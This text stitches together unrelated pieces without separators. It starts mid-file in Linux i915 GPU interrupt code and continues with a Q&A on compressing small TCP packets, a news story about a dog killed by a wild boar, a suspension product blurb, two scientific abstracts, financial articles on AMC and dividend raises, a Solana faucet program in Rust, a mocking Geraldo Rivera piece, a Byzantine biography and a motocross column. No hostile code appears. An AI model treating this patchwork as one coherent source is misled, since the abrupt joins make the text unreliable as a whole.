
	if (class <= COPY_ENGINE_CLASS)
		return gen11_engine_irq_handler(gt, class, instance, intr);

	if (class == OTHER_CLASS)
		return gen11_other_irq_handler(gt, instance, intr);

	WARN_ONCE(1, "unknown interrupt class=0x%x, instance=0x%x, intr=0x%x\n",
		  class, instance, intr);
}

static void
gen11_gt_bank_handler(struct intel_gt *gt, const unsigned int bank)
{
	void __iomem * const regs = gt->uncore->regs;
	unsigned long intr_dw;
	unsigned int bit;

	lockdep_assert_held(&gt->irq_lock);

	intr_dw = raw_reg_read(regs, GEN11_GT_INTR_DW(bank));

	for_each_set_bit(bit, &intr_dw, 32) {
		const u32 ident = gen11_gt_engine_identity(gt, bank, bit);

		gen11_gt_identity_handler(gt, ident);
	}

	/* Clear must be after shared has been served for engine */
	raw_reg_write(regs, GEN11_GT_INTR_DW(bank), intr_dw);
}

void gen11_gt_irq_handler(struct intel_gt *gt, const u32 master_ctl)
{
	unsigned int bank;

	spin_lock(&gt->irq_lock);

	for (bank = 0; bank < 2; bank++) {
		if (master_ctl & GEN11_GT_DW_IRQ(bank))
			gen11_gt_bank_handler(gt, bank);
	}

	spin_unlock(&gt->irq_lock);
}

bool gen11_gt_reset_one_iir(struct intel_gt *gt,
			    const unsigned int bank, const unsigned int bit)
{
	void __iomem * const regs = gt->uncore->regs;
	u32 dw;

	lockdep_assert_held(&gt->irq_lock);

	dw = raw_reg_read(regs, GEN11_GT_INTR_DW(bank));
	if (dw & BIT(bit)) {
		/*
		 * According to the BSpec, DW_IIR bits cannot be cleared without
		 * first servicing the Selector & Shared IIR registers.
		 */
		gen11_gt_engine_identity(gt, bank, bit);

		/*
		 * We locked GT INT DW by reading it. If we want to (try
		 * to) recover from this successfully, we need to clear
		 * our bit, otherwise we are locking the register for
		 * everybody.
		 */
		raw_reg_write(regs, GEN11_GT_INTR_DW(bank), BIT(bit));

		return true;
	}

	return false;
}

void gen11_gt_irq_reset(struct intel_gt *gt)
{
	struct intel_uncore *uncore = gt->uncore;

	/* Disable RCS, BCS, VCS and VECS class engines. */
	intel_uncore_write(uncore, GEN11_RENDER_COPY_INTR_ENABLE, 0);
	intel_uncore_write(uncore, GEN11_VCS_VECS_INTR_ENABLE,	  0);

	/* Restore masks irqs on RCS, BCS, VCS and VECS engines. */
	intel_uncore_write(uncore, GEN11_RCS0_RSVD_INTR_MASK,	~0);
	intel_uncore_write(uncore, GEN11_BCS_RSVD_INTR_MASK,	~0);
	intel_uncore_write(uncore, GEN11_VCS0_VCS1_INTR_MASK,	~0);
	intel_uncore_write(uncore, GEN11_VCS2_VCS3_INTR_MASK,	~0);
	intel_uncore_write(uncore, GEN11_VECS0_VECS1_INTR_MASK,	~0);

	intel_uncore_write(uncore, GEN11_GPM_WGBOXPERF_INTR_ENABLE, 0);
	intel_uncore_write(uncore, GEN11_GPM_WGBOXPERF_INTR_MASK,  ~0);
	intel_uncore_write(uncore, GEN11_GUC_SG_INTR_ENABLE, 0);
	intel_uncore_write(uncore, GEN11_GUC_SG_INTR_MASK,  ~0);
}

void gen11_gt_irq_postinstall(struct intel_gt *gt)
{
	const u32 irqs =
		GT_CS_MASTER_ERROR_INTERRUPT |
		GT_RENDER_USER_INTERRUPT |
		GT_CONTEXT_SWITCH_INTERRUPT |
		GT_WAIT_SEMAPHORE_INTERRUPT;
	struct intel_uncore *uncore = gt->uncore;
	const u32 dmask = irqs << 16 | irqs;
	const u32 smask = irqs << 16;

	BUILD_BUG_ON(irqs & 0xffff0000);

	/* Enable RCS, BCS, VCS and VECS class interrupts. */
	intel_uncore_write(uncore, GEN11_RENDER_COPY_INTR_ENABLE, dmask);
	intel_uncore_write(uncore, GEN11_VCS_VECS_INTR_ENABLE, dmask);

	/* Unmask irqs on RCS, BCS, VCS and VECS engines. */
	intel_uncore_write(uncore, GEN11_RCS0_RSVD_INTR_MASK, ~smask);
	intel_uncore_write(uncore, GEN11_BCS_RSVD_INTR_MASK, ~smask);
	intel_uncore_write(uncore, GEN11_VCS0_VCS1_INTR_MASK, ~dmask);
	intel_uncore_write(uncore, GEN11_VCS2_VCS3_INTR_MASK, ~dmask);
	intel_uncore_write(uncore, GEN11_VECS0_VECS1_INTR_MASK, ~dmask);

	/*
	 * RPS interrupts will get enabled/disabled on demand when RPS itself
	 * is enabled/disabled.
	 */
	gt->pm_ier = 0x0;
	gt->pm_imr = ~gt->pm_ier;
	intel_uncore_write(uncore, GEN11_GPM_WGBOXPERF_INTR_ENABLE, 0);
	intel_uncore_write(uncore, GEN11_GPM_WGBOXPERF_INTR_MASK,  ~0);

	/* Same thing for GuC interrupts */
	intel_uncore_write(uncore, GEN11_GUC_SG_INTR_ENABLE, 0);
	intel_uncore_write(uncore, GEN11_GUC_SG_INTR_MASK,  ~0);
}

void gen5_gt_irq_handler(struct intel_gt *gt, u32 gt_iir)
{
	if (gt_iir & GT_RENDER_USER_INTERRUPT)
		intel_engine_signal_breadcrumbs(gt->engine_class[RENDER_CLASS][0]);
	if (gt_iir & ILK_BSD_USER_INTERRUPT)
		intel_engine_signal_breadcrumbs(gt->engine_class[VIDEO_DECODE_CLASS][0]);
}

static void gen7_parity_error_irq_handler(struct intel_gt *gt, u32 iir)
{
	if (!HAS_L3_DPF(gt->i915))
		return;

	spin_lock(&gt->irq_lock);
	gen5_gt_disable_irq(gt, GT_PARITY_ERROR(gt->i915));
	spin_unlock(&gt->irq_lock);

	if (iir & GT_RENDER_L3_PARITY_ERROR_INTERRUPT_S1)
		gt->i915->l3_parity.which_slice |= 1 << 1;

	if (iir & GT_RENDER_L3_PARITY_ERROR_INTERRUPT)
		gt->i915->l3_parity.which_slice |= 1 << 0;

	schedule_work(&gt->i915->l3_parity.error_work);
}

void gen6_gt_irq_handler(struct intel_gt *gt, u32 gt_iir)
{
	if (gt_iir & GT_RENDER_USER_INTERRUPT)
		intel_engine_signal_breadcrumbs(gt->engine_class[RENDER_CLASS][0]);
	if (gt_iir & GT_BSD_USER_INTERRUPT)
		intel_engine_signal_breadcrumbs(gt->engine_class[VIDEO_DECODE_CLASS][0]);
	if (gt_iir & GT_BLT_USER_INTERRUPT)
		intel_engine_signal_breadcrumbs(gt->engine_class[COPY_ENGINE_CLASS][0]);

	if (gt_iir & (GT_BLT_CS_ERROR_INTERRUPT |
		      GT_BSD_CS_ERROR_INTERRUPT |
		      GT_CS_MASTER_ERROR_INTERRUPT))
		DRM_DEBUG("Command parser error, gt_iir 0x%08x\n", gt_iir);

	if (gt_iir & GT_PARITY_ERROR(gt->i915))
		gen7_parity_error_irq_handler(gt, gt_iir);
}

void gen8_gt_irq_handler(struct intel_gt *gt, u32 master_ctl)
{
	void __iomem * const regs = gt->uncore->regs;
	u32 iir;

	if (master_ctl & (GEN8_GT_RCS_IRQ | GEN8_GT_BCS_IRQ)) {
		iir = raw_reg_read(regs, GEN8_GT_IIR(0));
		if (likely(iir)) {
			cs_irq_handler(gt->engine_class[RENDER_CLASS][0],
				       iir >> GEN8_RCS_IRQ_SHIFT);
			cs_irq_handler(gt->engine_class[COPY_ENGINE_CLASS][0],
				       iir >> GEN8_BCS_IRQ_SHIFT);
			raw_reg_write(regs, GEN8_GT_IIR(0), iir);
		}
	}

	if (master_ctl & (GEN8_GT_VCS0_IRQ | GEN8_GT_VCS1_IRQ)) {
		iir = raw_reg_read(regs, GEN8_GT_IIR(1));
		if (likely(iir)) {
			cs_irq_handler(gt->engine_class[VIDEO_DECODE_CLASS][0],
				       iir >> GEN8_VCS0_IRQ_SHIFT);
			cs_irq_handler(gt->engine_class[VIDEO_DECODE_CLASS][1],
				       iir >> GEN8_VCS1_IRQ_SHIFT);
			raw_reg_write(regs, GEN8_GT_IIR(1), iir);
		}
	}

	if (master_ctl & GEN8_GT_VECS_IRQ) {
		iir = raw_reg_read(regs, GEN8_GT_IIR(3));
		if (likely(iir)) {
			cs_irq_handler(gt->engine_class[VIDEO_ENHANCEMENT_CLASS][0],
				       iir >> GEN8_VECS_IRQ_SHIFT);
			raw_reg_write(regs, GEN8_GT_IIR(3), iir);
		}
	}

	if (master_ctl & (GEN8_GT_PM_IRQ | GEN8_GT_GUC_IRQ)) {
		iir = raw_reg_read(regs, GEN8_GT_IIR(2));
		if (likely(iir)) {
			gen6_rps_irq_handler(&gt->rps, iir);
			guc_irq_handler(&gt->uc.guc, iir >> 16);
			raw_reg_write(regs, GEN8_GT_IIR(2), iir);
		}
	}
}

void gen8_gt_irq_reset(struct intel_gt *gt)
{
	struct intel_uncore *uncore = gt->uncore;

	GEN8_IRQ_RESET_NDX(uncore, GT, 0);
	GEN8_IRQ_RESET_NDX(uncore, GT, 1);
	GEN8_IRQ_RESET_NDX(uncore, GT, 2);
	GEN8_IRQ_RESET_NDX(uncore, GT, 3);
}

void gen8_gt_irq_postinstall(struct intel_gt *gt)
{
	/* These are interrupts we'll toggle with the ring mask register */
	const u32 irqs =
		GT_CS_MASTER_ERROR_INTERRUPT |
		GT_RENDER_USER_INTERRUPT |
		GT_CONTEXT_SWITCH_INTERRUPT |
		GT_WAIT_SEMAPHORE_INTERRUPT;
	const u32 gt_interrupts[] = {
		irqs << GEN8_RCS_IRQ_SHIFT | irqs << GEN8_BCS_IRQ_SHIFT,
		irqs << GEN8_VCS0_IRQ_SHIFT | irqs << GEN8_VCS1_IRQ_SHIFT,
		0,
		irqs << GEN8_VECS_IRQ_SHIFT,
	};
	struct intel_uncore *uncore = gt->uncore;

	gt->pm_ier = 0x0;
	gt->pm_imr = ~gt->pm_ier;
	GEN8_IRQ_INIT_NDX(uncore, GT, 0, ~gt_interrupts[0], gt_interrupts[0]);
	GEN8_IRQ_INIT_NDX(uncore, GT, 1, ~gt_interrupts[1], gt_interrupts[1]);
	/*
	 * RPS interrupts will get enabled/disabled on demand when RPS itself
	 * is enabled/disabled. Same wil be the case for GuC interrupts.
	 */
	GEN8_IRQ_INIT_NDX(uncore, GT, 2, gt->pm_imr, gt->pm_ier);
	GEN8_IRQ_INIT_NDX(uncore, GT, 3, ~gt_interrupts[3], gt_interrupts[3]);
}

static void gen5_gt_update_irq(struct intel_gt *gt,
			       u32 interrupt_mask,
			       u32 enabled_irq_mask)
{
	lockdep_assert_held(&gt->irq_lock);

	GEM_BUG_ON(enabled_irq_mask & ~interrupt_mask);

	gt->gt_imr &= ~interrupt_mask;
	gt->gt_imr |= (~enabled_irq_mask & interrupt_mask);
	intel_uncore_write(gt->uncore, GTIMR, gt->gt_imr);
}

void gen5_gt_enable_irq(struct intel_gt *gt, u32 mask)
{
	gen5_gt_update_irq(gt, mask, mask);
	intel_uncore_posting_read_fw(gt->uncore, GTIMR);
}

void gen5_gt_disable_irq(struct intel_gt *gt, u32 mask)
{
	gen5_gt_update_irq(gt, mask, 0);
}

void gen5_gt_irq_reset(struct intel_gt *gt)
{
	struct intel_uncore *uncore = gt->uncore;

	GEN3_IRQ_RESET(uncore, GT);
	if (INTEL_GEN(gt->i915) >= 6)
		GEN3_IRQ_RESET(uncore, GEN6_PM);
}

void gen5_gt_irq_postinstall(struct intel_gt *gt)
{
	struct intel_uncore *uncore = gt->uncore;
	u32 pm_irqs = 0;
	u32 gt_irqs = 0;

	gt->gt_imr = ~0;
	if (HAS_L3_DPF(gt->i915)) {
		/* L3 parity interrupt is always unmasked. */
		gt->gt_imr = ~GT_PARITY_ERROR(gt->i915);
		gt_irqs |= GT_PARITY_ERROR(gt->i915);
	}

	gt_irqs |= GT_RENDER_USER_INTERRUPT;
	if (IS_GEN(gt->i915, 5))
		gt_irqs |= ILK_BSD_USER_INTERRUPT;
	else
		gt_irqs |= GT_BLT_USER_INTERRUPT | GT_BSD_USER_INTERRUPT;

	GEN3_IRQ_INIT(uncore, GT, gt->gt_imr, gt_irqs);

	if (INTEL_GEN(gt->i915) >= 6) {
		/*
		 * RPS interrupts will get enabled/disabled on demand when RPS
		 * itself is enabled/disabled.
		 */
		if (HAS_ENGINE(gt->i915, VECS0)) {
			pm_irqs |= PM_VEBOX_USER_INTERRUPT;
			gt->pm_ier |= PM_VEBOX_USER_INTERRUPT;
		}

		gt->pm_imr = 0xffffffff;
		GEN3_IRQ_INIT(uncore, GEN6_PM, gt->pm_imr, pm_irqs);
	}
}


Q:

What is the best compression algorithm for small 4 KB files?

I am trying to compress TCP packets each one of about 4 KB in size. The packets can contain any byte (from 0 to 255). All of the benchmarks on compression algorithms that I found were based on larger files. I did not find anything that compares the compression ratio of different algorithms on small files, which is what I need. I need it to be open source so it can be implemented on C++, so no RAR for example. What algorithm can be recommended for small files of about 4 kilobytes in size? LZMA? HACC? ZIP? gzip? bzip2?

A:

Choose the algorithm that is the quickest, since you probably care about doing this in real time.  Generally for smaller blocks of data, the algorithms compress about the same (give or take a few bytes) mostly because the algorithms need to transmit the dictionary or Huffman trees in addition to the payload.
I highly recommend Deflate (used by zlib and Zip) for a number of reasons.  The algorithm is quite fast, well tested, BSD licensed, and is the only compression required to be supported by Zip (as per the infozip Appnote).  Aside from the basics, when it determines that the compression is larger than the decompressed size, there's a STORE mode which only adds 5 bytes for every block of data (max block is 64k bytes).  Aside from the STORE mode, Deflate supports two different types of Huffman tables (or dictionaries): dynamic and fixed.  A dynamic table means the Huffman tree is transmitted as part of the compressed data and is the most flexible (for varying types of nonrandom data).  The advantage of a fixed table is that the table is known by all decoders and thus doesn't need to be contained in the compressed stream.  The decompression (or Inflate) code is relatively easy.  I've written both Java and Javascript versions based directly off of zlib and they perform rather well.
The other compression algorithms mentioned have their merits.  I prefer Deflate because of its runtime performance on both the compression step and particularly in decompression step.
A point of clarification: Zip is not a compression type, it is a container.  For doing packet compression, I would bypass Zip and just use the deflate/inflate APIs provided by zlib.

A:

If you want to "compress TCP packets", you might consider using a RFC standard technique.

RFC1978 PPP Predictor Compression Protocol
RFC2394 IP Payload Compression Using DEFLATE
RFC2395 IP Payload Compression Using LZS
RFC3173 IP Payload Compression Protocol (IPComp)
RFC3051 IP Payload Compression Using ITU-T V.44 Packet Method
RFC5172 Negotiation for IPv6 Datagram Compression Using IPv6 Control Protocol
RFC5112 The Presence-Specific Static Dictionary for Signaling Compression (Sigcomp)
RFC3284 The VCDIFF Generic Differencing and Compression Data Format
RFC2118 Microsoft Point-To-Point Compression (MPPC) Protocol

There are probably other relevant RFCs I've overlooked.


The 3-year-old Australian Shepard was gored by a wild boar in Tom's back yard Wednesday, and required emergency surgery. Despite the best care, Dacota succumbed to infection.

Tom, his wife, and his two boys were devastated.

"It was such a shock because he seemed to be doing so well, but then he developed an infection and couldn't breathe on his own, so we made the decision to put him down so he wouldn't have to suffer," Miller said.

Tom lives on five acres in Lutz and says urban development has pushed wild animals closer to his property.

"It's that time of year. Food sources become scarce and wild animals come in here looking for food. It's not their fault; it's nature."

Because of this, pets can be especially vulnerable when left unsupervised. Even Miller's horses, as big as they are, could be injured or even hunted while alone.

Experts suggest fences to keep animals out, and that you never leave them unattended.

Despite the pain of losing Dacota, Tom is grateful for all the donations that came in from the people of Tampa Bay who saw the story and sent money to help pay for the $10,000 surgery.

"I cant thank enough the people of Blue Pearl, Frankie's Friends, and the people of Tampa Bay who donated money to help us out," said Miller. "At least it gave Dacota a chance at survival, and despite the outcome, we are very grateful. Thank you."


Product Description

“Anti” features in suspension systems are a characteristic that can be used to influence the stiffness of the front or rear suspension under traction forces(under braking or accelerating). The individual terms are relatively straightforward and self-explanatory with the “anti” reducing or totally restricting the characteristic (lifting or diving). In the front suspension there may be levels of anti-dive during braking and anti-lift during accelerating (assuming traction to the front wheels is present), similarly in the rear there could be anti lift during braking and antisquat during acceleration.

It should also be noted that these characteristic can also be reversed into a “pro” characteristic (as in pro-lift at the front under braking). Anti features can only be implemented under the influence of the braking or accelerating forces at the wheels, for example a rear wheel drive vehicle cannot have an anti-lift characteristic in the front (as there is no drive to the front wheels).

With the ALK fitted to the Subaru WRX, a softer suspension will be present during braking and accelerating. This will help traction, as the wheel will be able to track the ground more precisely. Also in terms of balance the front end will have a proportionally lower roll resistance during traction or braking, aiding in reducing the power understeer effect that is present in these cars.


Improved utilization of photogenerated charge using fluorine-doped TiO(2) hollow spheres scattering layer in dye-sensitized solar cells.
We demonstrate a strategy to improve utilization of photogenerated charge in dye-sensitized solar cells (DSSCs) with fluorine-doped TiO2 hollow spheres as the scattering layer, which improves the fill factor from 69.4% to 74.1% and in turn results in an overall efficiency of photoanode increased by 13% (from 5.62% to 6.31%) in comparison with the control device using undoped TiO2 hollow spheres. It is proposed that the fluorine-doping improves the charge transfer and inhibition of charge recombination to enhance the utilization of the photogenerated charge in the photoanode.


At AMC, It's All Breaking Good

AMC Networks may well be the most widely admired cable-television network in the United States today because of the daring manner in which it is rewriting the rules about storytelling on the small screen.

Over time, television networks tend to trundle out the same "stuff" to their viewers, with predictable storylines about cops, lawyers, doctors, and spies. After a while, it all starts to sound the same to the audience watching at home, wishing for something imaginative.

Who else but AMC would dare to shake up the accepted blueprint for drama -- a likable hero giving us all at home a moving life lesson at the end of the hour -- by showing a series about mythical Madison Avenue fixture Don Draper (played by Jon Hamm) and other archetypal white-collar advertising men and women in the 1960s (Mad Men)? And what about a series like Breaking Bad, about Walter White (portrayed by Bryan Cranston, previously known for, among other things, acting as a quirky dentist named Tim Whatley on Seinfeld), a down-and-out high school chemistry instructor who is diagnosed with inoperable lung cancer (as the series launched). To take care of his family's finances, he turns to a life of crime by dealing crystal meth with one of his students.

The television critics understandably heap lavish praise on AMC for its boldness and ingenuity, but how is the lauded network faring these days on Wall Street?

Much of AMC's success in his gut-real environment depends on the success and durability of its new series Low Winter Sun as well as the fourth-quarter return of The Walking Dead, another of its extremely well received TV series.

Television is a notoriously unpredictable business because viewers' tastes can change so drastically from one episode to the next. If the folks at home don't like one episode, they may well turn the channel to a competitor and not come back. The entertainment industry can be brutal on the ego for the players.

Wall Street was pleased when AMC's second-quarter revenue figure of $379 million topped projections of roughly $367 million to $368 million. But its adjusted earnings per share of $0.74 failed to surpass the expectation of about $0.79. This was linked to the costs related to the introduction of the new programming.

Likely, AMC's future looks bright.

Walking Dead looks like as much of a sure thing as one can have in the topsy-turvy industry of television programming. Just ask The Fool's Tim Beyers, who wrote here on July 28:

If history holds, The Walking Dead will once again set record ratings for AMC Networks when Season 4 makes its debut this October.

How can I be sure? Because, as is his style in the comics, Walking Dead creator Robert Kirkman has a way of making sure the next story is more gruesome, more awful, and more terrifying than the last. Season 4 will be another adrenaline-booster.

"Things are definitely going to be WAY crazier. It's an escalation. I mean, the world is getting worse, the people are getting more ragged, there's more terrible things happening," Kirkman said in a ... panel discussion at San Diego Comic-Con. "Things are going to keep progressing, if you can believe that."

Analysts last quarter were encouraged because advertising had a robust top line, as ad revenue at the national network jumped 14%, on top of the 13% progress compared with the year-before span. Mad Men produced strong results in what critics and analysts have pointed out is a highly desired demographic of young adults.

Echoing the Fool's Beyers, Barclays analysts are looking forward to the rest of the year, telling investors, "We are modeling 15% Y/Y growth for the full year as we would not be surprised to see Walking Dead draw record viewership numbers yet again when it returns in October."

Beyond October, AMC's success on Wall Street will hinge on its ability to come up with more dynamic hit shows. The good news for AMC in this area is that it has achieved what every network longs to do: create a positive buzz among its viewers. It's as if the public and the influential television critics, thrilled with Mad Men, Breaking Bad, and Walking Dead, are quite willing to give AMC the benefit of the doubt when it rolls out a new series.

AMC must focus on keeping the costs related to developing new series under control, to keep Wall Street on its side.

As long as the hits keep on coming, it's all breaking good now for AMC.


use clap::{crate_description, crate_name, App, Arg};
use solana_clap_utils::input_parsers::{lamports_of_sol, value_of};
use solana_faucet::{
    faucet::{run_faucet, Faucet, FAUCET_PORT},
    socketaddr,
};
use solana_sdk::signature::read_keypair_file;
use std::{
    error,
    net::{Ipv4Addr, SocketAddr},
    sync::{Arc, Mutex},
    thread,
};

fn main() -> Result<(), Box<dyn error::Error>> {
    solana_logger::setup_with_default("solana=info");
    solana_metrics::set_panic_hook("faucet");
    let matches = App::new(crate_name!())
        .about(crate_description!())
        .version(solana_version::version!())
        .arg(
            Arg::with_name("keypair")
                .short("k")
                .long("keypair")
                .value_name("PATH")
                .takes_value(true)
                .required(true)
                .help("File from which to read the mint's keypair"),
        )
        .arg(
            Arg::with_name("slice")
                .long("slice")
                .value_name("SECS")
                .takes_value(true)
                .help("Time slice over which to limit requests to faucet"),
        )
        .arg(
            Arg::with_name("per_time_cap")
                .long("per-time-cap")
                .alias("cap")
                .value_name("NUM")
                .takes_value(true)
                .help("Request limit for time slice, in SOL"),
        )
        .arg(
            Arg::with_name("per_request_cap")
                .long("per-request-cap")
                .value_name("NUM")
                .takes_value(true)
                .help("Request limit for a single request, in SOL"),
        )
        .get_matches();

    let mint_keypair = read_keypair_file(matches.value_of("keypair").unwrap())
        .expect("failed to read client keypair");

    let time_slice = value_of(&matches, "slice");
    let per_time_cap = lamports_of_sol(&matches, "per_time_cap");
    let per_request_cap = lamports_of_sol(&matches, "per_request_cap");

    let faucet_addr = socketaddr!(0, FAUCET_PORT);

    let faucet = Arc::new(Mutex::new(Faucet::new(
        mint_keypair,
        time_slice,
        per_time_cap,
        per_request_cap,
    )));

    let faucet1 = faucet.clone();
    thread::spawn(move || loop {
        let time = faucet1.lock().unwrap().time_slice;
        thread::sleep(time);
        faucet1.lock().unwrap().clear_request_count();
    });

    run_faucet(faucet, faucet_addr, None);
    Ok(())
}


Geraldo- So Hot Right Now

@GeraldoRivera:… thanks to Officer Kublo and others from the 20th Pct who responded professionally and promptly to Erica’s accident.

Elderly idiot and selfie-addict Geraldo Rivera recently snapped yet another “selfie” while sharing that his wife Erica and daughter Sol had just been in a car accident.

Thankfully this time the septuagenarian was fully clothed.

Surely this is proof positive that so-called “social media” is a gift from the Gods.

“Erica and Sol are fine but her Range Rover’s a mess after guy from out of state stopped short on the West Side Highway,” Rivera wrote on Twitter.

He included a tweet with a photo of what appeared to be the damaged vehicle.

The only thing that makes the story remotely believable is the fact that there are uniformed cops in the image the shirtless wonder included in his tweet.

Just four minutes later, Rivera sent out another tweet.

“Thanks to Officer Kublo and others from the 20th Pct who responded professionally and promptly to Erica’s accident,” Geraldo tweeted.

This is not the first wreck that has provided Rivera with an opportunity to promote himself.

Last January he slammed into the back of a cab (with his Bentley) while driving to work.

He took a selfie at that accident scene as well.

There is no credible evidence to suggest that Mr. Rivera is crashing cars in order to keep up his media profile as the result of ratings from the twits on Twitter that tweet about sandwiches, cart accidents and anything else that pops into their tiny little minds.


Praejecta

Praejecta or Praiecta was a niece to Byzantine emperor Justinian I (r. 527–565) by blood and of his empress Theodora by marriage.

Biography
Praejecta was a daughter of Vigilantia and Dulcidio (or Dulcissimus), respectively the sister and brother-in-law of Emperor Justinian. She was also a sister of the later Byzantine emperor Justin II (r. 565–578) and the patricius Marcellus.

She was initially married to the patricius Areobindus, a senator of noble birth. In 545, as the situation in Africa had gotten out of control following the death of Solomon and his replacement by his incompetent nephew Sergius, Areobindus, although having no prior military experience, was dispatched there with a small force.

Areobindus was placed as joint commander with Sergius, but the two generals did not agree, with predictably disastrous results for the Byzantine imperial effort: the imperial forces were severely defeated at Thacia, although they managed to kill the rebel Stotzas. Following this, Sergius was relieved and Areobindus was installed in his stead. Soon, however, (March 546) he was murdered in a military mutiny led by Guntharic, the dux Numidiae. Praejecta and her sister-in-law had been sent to safety to a fortified monastery in Carthage, but when Guntharic took over the city, they were removed from there. Guntharic, who probably intended to marry Praejecta, kept her under house arrest but treated her well.

After Guntharic's assassination by the Armenian Artabanes in May and the restoration of Byzantine imperial rule, Praejecta rewarded him with a large sum of money and became engaged to him. Once she was back at Constantinople, Artabanes followed, but Empress Theodora discovered that he was already married and forbade the union. Artabanes was enraged by this affair, and it contributed to his involvement in the failed conspiracy to overthrow Emperor Justinian in late 548.

Praejecta was instead married off to John, son of Pompeius and grandson of Hypatius, a marriage which took place sometime in 546–548.

References

Citations

Sources

External links

Category:Justinian dynasty
Category:6th-century Byzantine people
Category:6th-century Byzantine women


These Companies Raised Their Dividends Last Week

The pre-Memorial Day week was stuffed with dividend increases. By my tally, nine companies hiked their dividends during the week, giving their investors some happy news in advance of the holiday weekend.

Arguably the most prominent of those companies was banking titan JPMorgan Chase (NYSE: JPM) , which upped its quarterly distribution by $0.02 to $0.40 per share. The bank has seen its share of difficulties this year, including big-ticket legal settlements and a Q1 that left many investors cold. Regardless, it found a little spare change for its shareholders. The new payout is to be distributed on July 31 to stockholders of record as of July 3.

Appropriately, just shy of Memorial Day, defense giant Northrop Grumman (NYSE: NOC) declared a dividend raise. The new amount is $0.70 per share, a 15% increase over its predecessor. The sector has been doing well lately in terms of both fundamentals and share price. Northrop Grumman is the latest to enact a dividend raise, following hikes from firms such as Raytheon (NYSE: RTN) , Lockheed Martin (NYSE: LMT) , and Boeing (NYSE: BA) over the past year.

Northrop Grumman's new distribution is to be handed out on June 18 to shareholders of record as of June 2.

Mining equipment producer Joy Global (NYSE: JOY) is another double-digit raiser, lifting its quarterly dividend by 14% to $0.20 per share. The company cited its strong cash flow as a key reason for the increase. What also helps is its optimism going forward -- management believes its profit margins will rise this year on the back of increased service sales and reduced costs. Joy Global's new distribution will be paid on June 18 to holders of record as of June 4.

Insurance holding company W.R. Berkley (NYSE: WRB) raised its dividend by $0.01 per quarter. Based purely on recent financials, there's plenty of room for that extra penny, as the firm saw an 11% year-over-year increase in its gross premiums written this past quarter -- and a far chunkier 45% improvement in the bottom line. W.R. Berkley's new $0.11-per-share quarterly payout will be dispensed on July 1 to shareholders in possession of its stock as of June 10.

Dividends are flowing at American States Water (NYSE: AWR) . The company has opened the spigot by another 5% and will pay out $0.213 per share for its next quarterly distribution. The company is keen to point out that this will be its 313th dividend in a row. It will be paid on Sept. 2 to holders of record as of Aug. 15.

The other companies increasing their distributions last week were Questar (NYSE: STR) , Omnicom Group (NYSE: OMC) , Bunge (NYSE: BG) , and Donaldson (NYSE: DCI) . Of the four, Omnicom enacted the most significant dividend increase in both amount ($0.10) and percentage (25%).

Company

New Dividend

Record Date

Payment Date

Old Dividend

Increase

Omnicom Group

$0.50

June 13

July 10

$0.40

25%

Donaldson

$0.165

June 6

June 20

$0.14

18%

Bunge

$0.34

August 19

September 2

$0.30

13%

Questar

$0.19

June 6

June 23

$0.18

6%

Sources: Company websites.

Top dividend stocks for the next decadeThe smartest investors know that dividend stocks simply crush their non-dividend-paying counterparts over the long term. That's beyond dispute. They also know that a well-constructed dividend portfolio creates wealth steadily, while still allowing you to sleep like a baby. Knowing how valuable such a portfolio might be, our top analysts put together a report on a group of high-yielding stocks that should be in any income investor's portfolio. To see our free report on these stocks, just click here now.

Comments from our Foolish Readers

Help us keep this a respectfully Foolish area! This is a place for our readers to discuss, debate, and learn more about the Foolish investing topic you read about above. Help us keep it clean and safe. If you believe a comment is abusive or otherwise violates our Fool's Rules, please report it via the Report this Comment icon found on every comment.


Delayed response to argon laser trabeculoplasty in monkeys. Morphological and morphometric analysis.
In eight cynomolgus monkeys we performed argon laser trabeculoplasty and evaluated morphological changes in the trabecular meshwork (TM). Four weeks after laser treatment, the treated spots were detected as regions of flattened and collapsed beams covered by a cellular sheet extending from the corneal endothelium. The inner wall of Schlemm's canal beneath these regions was flat, with no vacuoles despite fixation with intraocular pressure maintained at 15 mm Hg. Adjacent nonlasered spots had wide open intertrabecular spaces with herniations of juxtacanalicular TM and of inner wall endothelium into and across the lumen of Schlemm's canal. The herniations contained chronic inflammatory cells and large vacuoles. Statistical morphometric analysis in three monkeys established that these herniations were significantly wider, more numerous, and contained more vacuoles than did control eyes. Our findings suggest that a biologic process is involved in these reactions to argon laser trabeculoplasty. Scarring is seen to obliterate TM in spots treated by the laser, and this apparently causes the flow of the aqueous humor to be diverted through adjacent nonlasered regions that become structurally altered to compensate for this overload of flow.


AMA and FIM - No Swapping

Posted on August 13, 2019

As teams continue to pick their MXoN line-ups one thing that is ringing home, a lot of AMA riders don’t want to come, or are not allowed to come. Be it Eli Tomac, Ken Roczen, Marvin Musquin, Adam Cianciarulo, Cooper Webb, Dean Wilson, Dylan Ferrandis, or anyone else, they either are not interested or are just not selected, or both.

The AMA riders who do want to come are Hunter Lawrence, Zach Osborne, Jason Anderson and Justin Cooper. I would imagine there was a long list of riders willing to race for Team USA, but the list isn’t as big as it might have been in the 1980s, or 90s when Team USA ruled the roost.

The fact Dylan Ferrandis, Marvin Musquin, Dean Wilson, wouldn’t have been selected anyway doesn’t matter. Sure, Germany would have loved to have had Roczen in their line-up, and for sure I would have loved to have seen Cooper Webb race for Team USA.

What grabs me though is the fact not one of these riders will be missed, and I don’t mean to be a smart ass about this. Not one of them are the fastest rider in the World or have ever gone 1-1 at the MXoN. Lawrence has won the MX2 class in the past, and he is coming, Anderson got a moto win from Jeffrey Herlings in 2016 and he is coming and of course Osborn is a favourite in Europe and we all love to see him back as captain of Team USA and getting another shot after the disaster of Matterley Basin in 2017, when machine problems to Cole Seely saw the team sink to rock bottom. This Team USA will be a very popular one.

After last years performance I don’t think too many expected Roczen or Tomac to be competitive in the deep sand of Assen, and again that isn’t a knock on those two legends, because both are legends of the sport, with numerous FIM and AMA championships between them. Had one of them gone 1-1 last year at Redbud, I think we would miss seeing them, but they went 4-5-7-23. Max Nagl was actually the stand-out for Team Germany with 6-11 to Roczens 7-23.

I know speaking to Mark Chamberlain from Team GB, he had four riders in his wish list, and Wilson wasn’t one of them. I think most teams are shying away from selecting AMA based riders due to what happened in Redbud last year. If ever the AMA riders struggled at this event, it was in 2018 around their pride and joy circuit at Redbud.

